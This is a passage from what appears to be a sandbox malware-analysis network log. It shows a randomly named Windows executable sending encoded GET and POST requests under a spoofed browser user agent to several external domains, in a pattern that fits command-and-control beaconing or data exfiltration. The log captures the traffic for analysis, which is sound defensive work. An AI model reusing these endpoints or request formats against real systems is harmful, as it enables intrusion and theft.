44 68 [TRUNCATED] Data Ascii: SLTxDJ=XPwjwBphMmw8fhhS9JyltsBRo65lf3vwNfjcJvYAu4g5Gxayrxp5A5VUQOx3Nunc0egBxIszJ18nPvgszddtWlVLD74gVYkpp5bjXPsz3Srs1D9DIe9h00gBJWj4H800T219LA6+D+xZyWUDeSOCr84xkwkCwuR4WSXuwFVYUk2H98YVrRiIsWlFmqYgjpuIuwpCyaAdP0So2ayR2XyxLAQ4BEr3Sm7uxguGmTZ/1lgqIUzHakBTzdsHIGCqAFtW/QVyKEM10TQ9yYFZHrMAd2qBLairSid1j3UlCF3WWrrqKI8nZVqNIDAvWRwysOTW8N4zbK9jTDhCiTBO2dEYrV7WeyMx9MBC/iP2YfuLv0LlRFdKxEJb+ZK+QnpyUL/rha86dRik1nCordBKGjsrSZCmaZ/U3IQG0EtO+YKF+SKkVH0vGwbBtdp4CynyDHdHSeQijfg0TLRXKJ2PlJ7hZfru89uDS8TzaBH2Xi0jBDZhcPhWKyzbp+TG8UnJAbDbvDlXXQrMoDFAJZfTMw24HXDVk+yCsQphb21+LiUTCs9IYDUmF5yTkm/hQT9gia+q0tvZXveeA18YYcTscWDo1/ADP39/5gZPXTXOn5yhljb42wKWVPejtyMs0zalxIoV4EDOKcSzwHB8fVAuZDipUaCMkHuH1GUZB4RWVreHaCz6GFOXN3pV8HjtgZAhWn9cbCb62fj6vpDZWMIRlRqD2P1lcXwKF9ImfT3G0UAiPP82dyf2UscZGJgLwS5gxhLGVQfqsML7su4SZf9vsbY6XkgElnRbHzUVWLQ8mSdiUNlvLn7zPx5hM6z8nlGfCztzZIKURpjxvz9Pie9Nh56prrlxhkhd5tyBG+XFuXbOTxwkoXGL3+BfYiMJROmNel+lt8PI3+uQwLTPWuF+KIUbKUiHMj1ynerUzNQdol6gEYYV2ebawH/cN2QNUSFxzCaWtWhA0DP01DstxobavwfxKSVBmtoIrBlhqonOjp4WUIfVP [TRUNCATED]
Oct 3, 2024 18:13:08.814073086 CEST	5387	OUT	Data Raw: 32 79 36 50 6a 53 50 71 4a 73 43 56 32 41 4c 4a 71 5a 58 64 2b 59 65 30 6b 56 73 51 72 32 72 75 74 33 7a 77 69 46 5a 67 55 55 65 6e 50 44 50 79 4e 71 4a 67 66 49 42 5a 2b 55 5a 78 67 71 36 2b 69 58 69 42 77 71 51 39 41 55 53 58 77 6b 43 41 75 31 Data Ascii: 2y6PjSPqJsCV2ALJqZXd+Ye0kVsQr2rut3zwiFZgUUenPDPyNqJgfIBZ+UZxgq6+iXiBwqQ9AUSXwkCAu1oxzQnDQ7lx2+v2dfAfbIpnUKHZGZtiSyapyV7S2hbsy7jcmooG7dc/xud/LiC5HN/wVBWubmlPnFN32ZnBwXkFq4DjD7P29JpzpYI913jnGYumuiN1DJt6J3OB36ykb7XyKNbOZNZSwpHpRKp7e6ZxISHyDvlnYVd
Oct 3, 2024 18:13:08.944304943 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:13:08 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49753	104.223.44.195	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:11.477019072 CEST	522	OUT	GET /195u/?SLTxDJ=aNYDz25QeW1nHygD0LaYtsh6raBYIBnRK9eBJq58sI9PMC6Y0hkfI4Z/VJ9iKp+j++1Gwc5EXUVHTapx585cEAZeHKtDaaAZqpmCFOpgojzJ8At9FsJqyBw=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.kerennih31.click Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:13:11.607686996 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:13:11 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49754	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:17.837109089 CEST	793	OUT	POST /211a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nuvsgloves.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.nuvsgloves.shop Referer: http://www.nuvsgloves.shop/211a/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 68 41 41 45 77 6e 32 37 41 62 77 66 32 44 79 6a 72 33 46 4c 4a 52 76 2f 39 36 6e 49 79 64 78 70 79 64 31 6c 6d 34 73 31 4f 37 67 56 4f 45 6e 65 75 39 73 51 76 33 59 51 6c 43 63 42 71 67 6e 39 57 6f 63 68 4b 48 74 55 67 2b 47 2f 36 44 7a 44 42 76 71 5a 47 73 68 52 4e 5a 38 6e 57 2b 31 78 41 58 61 32 59 62 6d 36 46 78 51 68 61 68 4c 32 52 49 63 49 34 69 43 47 50 4b 38 4e 42 4d 46 41 45 64 6f 52 70 42 2b 54 38 78 2b 35 64 4b 7a 47 44 46 54 66 4b 2f 57 39 36 46 45 5a 50 62 4d 44 4b 4b 47 4c 6e 75 38 4e 7a 6e 53 73 71 4a 50 54 61 46 4a 59 4b 6a 62 42 55 51 43 67 73 47 35 59 39 51 3d 3d Data Ascii: SLTxDJ=hAAEwn27Abwf2Dyjr3FLJRv/96nIydxpyd1lm4s1O7gVOEneu9sQv3YQlCcBqgn9WochKHtUg+G/6DzDBvqZGshRNZ8nW+1xAXa2Ybm6FxQhahL2RIcI4iCGPK8NBMFAEdoRpB+T8x+5dKzGDFTfK/W96FEZPbMDKKGLnu8NznSsqJPTaFJYKjbBUQCgsG5Y9Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49755	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:20.476686954 CEST	813	OUT	POST /211a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nuvsgloves.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.nuvsgloves.shop Referer: http://www.nuvsgloves.shop/211a/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 68 41 41 45 77 6e 32 37 41 62 77 66 6e 53 43 6a 6f 51 78 4c 42 52 76 38 67 4b 6e 49 35 39 78 74 79 64 4a 6c 6d 38 38 44 4f 4a 45 56 4f 68 62 65 74 2f 45 51 6d 6e 59 51 75 69 63 45 70 51 6e 4d 57 6f 51 58 4b 47 39 55 67 2b 43 2f 36 47 33 44 42 59 47 61 48 38 68 54 46 35 38 66 53 2b 31 78 41 58 61 32 59 62 43 41 46 78 59 68 5a 52 37 32 51 71 6b 4c 6e 53 43 5a 49 4b 38 4e 4d 73 46 45 45 64 70 43 70 44 62 32 38 7a 32 35 64 4c 6a 47 41 55 54 65 64 76 57 37 2b 46 46 65 42 34 78 31 54 6f 6d 34 6f 2f 67 74 39 45 71 34 69 2f 65 4a 48 33 39 38 4a 77 48 7a 51 67 37 49 75 45 34 44 67 66 74 35 34 4e 73 37 51 6e 53 5a 77 66 2b 66 51 57 2b 51 41 73 4d 3d Data Ascii: SLTxDJ=hAAEwn27AbwfnSCjoQxLBRv8gKnI59xtydJlm88DOJEVOhbet/EQmnYQuicEpQnMWoQXKG9Ug+C/6G3DBYGaH8hTF58fS+1xAXa2YbCAFxYhZR72QqkLnSCZIK8NMsFEEdpCpDb28z25dLjGAUTedvW7+FFeB4x1Tom4o/gt9Eq4i/eJH398JwHzQg7IuE4Dgft54Ns7QnSZwf+fQW+QAsM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49756	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:23.117120981 CEST	2578	OUT	POST /211a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nuvsgloves.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.nuvsgloves.shop Referer: http://www.nuvsgloves.shop/211a/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 68 41 41 45 77 6e 32 37 41 62 77 66 6e 53 43 6a 6f 51 78 4c 42 52 76 38 67 4b 6e 49 35 39 78 74 79 64 4a 6c 6d 38 38 44 4f 4a 4d 56 4f 58 76 65 71 6f 77 51 30 33 59 51 6a 43 63 46 70 51 6e 52 57 6f 49 4c 4b 47 77 76 67 38 4b 2f 37 6b 2f 44 44 70 47 61 4d 38 68 54 61 70 38 6b 57 2b 30 73 41 54 32 79 59 62 79 41 46 78 59 68 5a 54 6a 32 5a 59 63 4c 6c 53 43 47 50 4b 38 5a 42 4d 45 52 45 64 77 33 70 44 4f 44 39 43 57 35 64 71 54 47 4d 47 4c 65 43 66 57 35 7a 6c 46 38 42 34 39 6d 54 6f 36 61 6f 2f 6b 58 39 48 36 34 6e 34 2f 4c 57 7a 39 32 58 32 4c 6b 55 7a 37 72 69 6b 51 68 6e 63 78 6e 33 39 4d 79 63 68 4f 73 35 70 71 30 46 6b 7a 57 63 4b 6c 30 4b 30 56 70 76 5a 2f 53 4a 64 73 79 6e 49 66 4d 52 34 74 77 69 4b 6c 75 56 71 52 2b 6b 37 4f 48 58 2b 63 4b 58 2f 7a 72 5a 4d 5a 4a 45 30 34 5a 64 32 64 49 37 72 66 6a 74 68 46 32 2b 2f 58 41 5a 77 4b 34 2f 30 76 73 36 55 33 65 4b 55 73 74 57 54 65 42 76 46 4a 6d 33 74 32 34 34 35 55 63 6c 4e 35 51 6d 36 41 54 6e 67 38 4e 47 67 73 75 30 32 72 [TRUNCATED] Data Ascii: SLTxDJ=hAAEwn27AbwfnSCjoQxLBRv8gKnI59xtydJlm88DOJMVOXveqowQ03YQjCcFpQnRWoILKGwvg8K/7k/DDpGaM8hTap8kW+0sAT2yYbyAFxYhZTj2ZYcLlSCGPK8ZBMEREdw3pDOD9CW5dqTGMGLeCfW5zlF8B49mTo6ao/kX9H64n4/LWz92X2LkUz7rikQhncxn39MychOs5pq0FkzWcKl0K0VpvZ/SJdsynIfMR4twiKluVqR+k7OHX+cKX/zrZMZJE04Zd2dI7rfjthF2+/XAZwK4/0vs6U3eKUstWTeBvFJm3t2445UclN5Qm6ATng8NGgsu02r/0o2bX6RoQlmRIy+f6kv01S2SeutpQ85SEBIpUO0AqTsfgiktzSzohIyzD34M1ynNX764UlmO5o86RjHp/Qnrcr3a3clQxEi6FTkvJoakW1qz2nEGhNvc8wPdHBtGAvMpNuMjVG+gBHoGWtN03ILk8I0PR+Erds5lpfWUKuMf7+/1ZvdI+c8OqKcp1ft+I6v4y8LP1aSvDOeMf0qxqoM6X6M0xbz2F075sXeq1WnGlkVL1DXLrzpYpH+kgJdgBxjLDwsfs4+wjq8V/X5OXFVm82RytLpSAxhhWI+98aLzBIwnXiS88BALdV8v5ppahMYUAgx0oD90yGJMuWN0sCCWK8Qv8H3wzZS619XSnHFf66V6gS9qfovlw0eTiwa2hiCFPli+xfrl82Coeza8MbsRU89nadamg9u+1z85E9fuiiCoA6t7VE0IseRkpCBS9NKtptBcYYW6aII0rEspHtfXacNNAprgudUbF3mt6GCv13G61+9HG1INZ18jU5ncK76ouZC3WbiS6p5vYFux3kXWmlP3Y0wNm+MYEPFkgl7R2xJ3ug7zYyH6npRTkQ6RA8MRs2nHT70VOoj8ZCxi3pxB+9rDkhZo7cKOkKSg0YZAqiFKKUNN6xF2WKSnAFU6JUbr3NFIX87eOpdzXi122l4LyxsXS114RDGRo [TRUNCATED]
Oct 3, 2024 18:13:23.117144108 CEST	5156	OUT	Data Raw: 44 55 78 49 76 6f 2f 32 30 47 35 6d 5a 45 33 6d 35 35 65 44 76 56 72 62 74 38 2b 49 43 33 7a 45 71 30 79 74 31 6d 75 6d 66 64 5a 4a 4c 4e 36 54 6b 63 66 62 68 52 70 45 73 47 72 64 32 30 6b 77 6c 71 58 57 55 6a 52 66 58 76 79 4b 69 69 4b 32 75 66 Data Ascii: DUxIvo/20G5mZE3m55eDvVrbt8+IC3zEq0yt1mumfdZJLN6TkcfbhRpEsGrd20kwlqXWUjRfXvyKiiK2ufRuYq0wqWfrpKzohi7Z1cd4Qya9lB5ETvNJ6so5OOekQEVOLdfh4id5I1Cwb19RbB5uMEwlAHsyJKVyjcrtpdE8etw4fqEb8Mt8FNTTD5WWDNStAOwOBI8CzbOgnl3RJl1SoLHgmvWgOMGBcBiQ95g1K5nimNnxUBb
Oct 3, 2024 18:13:23.117216110 CEST	228	OUT	Data Raw: 31 48 58 41 46 62 45 71 4b 52 6b 76 61 6b 47 74 30 4d 47 59 34 4f 49 6f 44 58 79 6c 78 71 69 50 61 44 63 48 42 34 48 57 66 52 74 59 6f 61 58 36 46 48 7a 33 79 32 67 66 4c 52 4e 59 34 47 6a 7a 5a 59 5a 4b 61 6e 44 4d 7a 6e 62 2f 59 6a 74 66 63 42 Data Ascii: 1HXAFbEqKRkvakGt0MGY4OIoDXylxqiPaDcHB4HWfRtYoaX6FHz3y2gfLRNY4GjzZYZKanDMznb/YjtfcBicZza56izuZAspeqbYIZTMKUq50hep+ixGo+vKIKaFdKV/G/iOilX5PsIIBMHsvfT7QPW3xedIP+appvNHwD2rtZWnkirLs9BWN45HwlUNCsYwRqNPToJ5nmcw8R9Fw1hhMpG6wDWE0J1FTQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49757	3.33.130.190	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:25.755179882 CEST	521	OUT	GET /211a/?SLTxDJ=sCokzXCHPe9EljO2li5uWyvEvprmidp85P956psXE5pPHneasvASkBMAjzQyqTiufapuM3ZSx9u+6TTkMqSOIoBMOr8rXdhmKhHpcoXyFg81cDzlWYIjmEI=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.nuvsgloves.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:13:26.761329889 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 03 Oct 2024 16:13:26 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 53 4c 54 78 44 4a 3d 73 43 6f 6b 7a 58 43 48 50 65 39 45 6c 6a 4f 32 6c 69 35 75 57 79 76 45 76 70 72 6d 69 64 70 38 35 50 39 35 36 70 73 58 45 35 70 50 48 6e 65 61 73 76 41 53 6b 42 4d 41 6a 7a 51 79 71 54 69 75 66 61 70 75 4d 33 5a 53 78 39 75 2b 36 54 54 6b 4d 71 53 4f 49 6f 42 4d 4f 72 38 72 58 64 68 6d 4b 68 48 70 63 6f 58 79 46 67 38 31 63 44 7a 6c 57 59 49 6a 6d 45 49 3d 26 73 64 71 70 3d 44 64 42 74 6a 70 75 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?SLTxDJ=sCokzXCHPe9EljO2li5uWyvEvprmidp85P956psXE5pPHneasvASkBMAjzQyqTiufapuM3ZSx9u+6TTkMqSOIoBMOr8rXdhmKhHpcoXyFg81cDzlWYIjmEI=&sdqp=DdBtjpu0"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49758	103.149.183.47	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:32.623548985 CEST	778	OUT	POST /osru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.ciao83.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.ciao83.top Referer: http://www.ciao83.top/osru/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 55 70 56 46 64 34 31 59 2f 43 6e 2f 33 77 48 36 6a 63 6b 73 48 31 42 73 74 31 6b 32 6a 69 66 58 4f 51 49 59 67 33 35 36 43 56 48 47 36 59 43 79 38 67 67 4f 51 4d 77 6e 30 64 76 79 4f 36 6b 2f 2b 31 61 79 42 2f 65 76 6f 71 59 74 64 71 78 48 74 58 49 67 6d 42 58 77 50 7a 36 74 50 33 75 35 54 71 5a 72 72 33 36 51 66 4d 46 77 74 55 36 69 67 70 48 74 4e 37 51 75 68 31 57 74 30 46 32 49 63 2f 33 6c 6c 4b 52 31 32 4c 45 4f 5a 52 65 64 4a 4d 6f 77 34 69 62 6a 53 49 4c 6b 33 6b 49 6a 70 31 4e 37 6c 53 76 78 4d 6b 6f 4c 42 63 6c 36 48 77 6d 47 4a 31 72 32 54 63 45 33 5a 72 6e 68 52 67 3d 3d Data Ascii: SLTxDJ=UpVFd41Y/Cn/3wH6jcksH1Bst1k2jifXOQIYg356CVHG6YCy8ggOQMwn0dvyO6k/+1ayB/evoqYtdqxHtXIgmBXwPz6tP3u5TqZrr36QfMFwtU6igpHtN7Quh1Wt0F2Ic/3llKR12LEOZRedJMow4ibjSILk3kIjp1N7lSvxMkoLBcl6HwmGJ1r2TcE3ZrnhRg==
Oct 3, 2024 18:13:36.426868916 CEST	124	IN	HTTP/1.1 499 status code 499 X-Cache: BYPASS Date: Thu, 03 Oct 2024 16:13:34 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49759	103.149.183.47	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:35.501624107 CEST	798	OUT	POST /osru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.ciao83.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.ciao83.top Referer: http://www.ciao83.top/osru/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 55 70 56 46 64 34 31 59 2f 43 6e 2f 78 51 33 36 77 76 4d 73 50 31 42 72 6f 31 6b 32 74 43 65 63 4f 51 55 59 67 7a 68 71 43 67 66 47 36 36 61 79 39 68 67 4f 58 4d 77 6e 38 39 76 72 41 61 6b 4f 2b 31 47 63 42 2f 79 76 6f 75 49 74 64 76 31 48 73 6c 68 32 67 52 58 79 48 54 36 76 42 58 75 35 54 71 5a 72 72 33 48 2f 66 4e 74 77 71 6b 4b 69 67 49 48 69 57 62 51 74 6d 31 57 74 6a 56 32 54 63 2f 32 56 6c 49 6c 54 32 49 38 4f 5a 51 75 64 4b 64 6f 7a 74 79 62 70 66 6f 4b 76 35 45 5a 75 74 6c 78 34 75 6c 62 4d 4a 46 30 77 41 4b 30 67 61 43 53 69 4b 6d 33 45 58 73 39 66 62 70 6d 36 4d 75 6d 78 70 4d 63 79 52 69 4c 56 48 64 38 55 73 43 62 45 71 78 49 3d Data Ascii: SLTxDJ=UpVFd41Y/Cn/xQ36wvMsP1Bro1k2tCecOQUYgzhqCgfG66ay9hgOXMwn89vrAakO+1GcB/yvouItdv1Hslh2gRXyHT6vBXu5TqZrr3H/fNtwqkKigIHiWbQtm1WtjV2Tc/2VlIlT2I8OZQudKdoztybpfoKv5EZutlx4ulbMJF0wAK0gaCSiKm3EXs9fbpm6MumxpMcyRiLVHd8UsCbEqxI=
Oct 3, 2024 18:13:37.374248028 CEST	124	IN	HTTP/1.1 499 status code 499 X-Cache: BYPASS Date: Thu, 03 Oct 2024 16:13:37 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49760	103.149.183.47	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:13:38.402424097 CEST	2578	OUT	POST /osru/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.ciao83.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.ciao83.top Referer: http://www.ciao83.top/osru/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 55 70 56 46 64 34 31 59 2f 43 6e 2f 78 51 33 36 77 76 4d 73 50 31 42 72 6f 31 6b 32 74 43 65 63 4f 51 55 59 67 7a 68 71 43 6a 2f 47 37 4c 36 79 38 47 30 4f 57 4d 77 6e 79 64 76 75 41 61 6b 54 2b 31 65 59 42 2f 76 59 6f 73 41 74 53 74 39 48 35 68 31 32 75 52 58 79 4c 7a 36 73 50 33 75 77 54 72 31 6e 72 7a 6e 2f 66 4e 74 77 71 6d 69 69 77 4a 48 69 55 62 51 75 68 31 57 68 30 46 33 64 63 37 6a 74 6c 49 68 6c 33 35 63 4f 5a 77 2b 64 46 4c 55 7a 73 53 62 76 59 6f 4b 38 35 45 55 75 74 6c 73 4c 75 6c 47 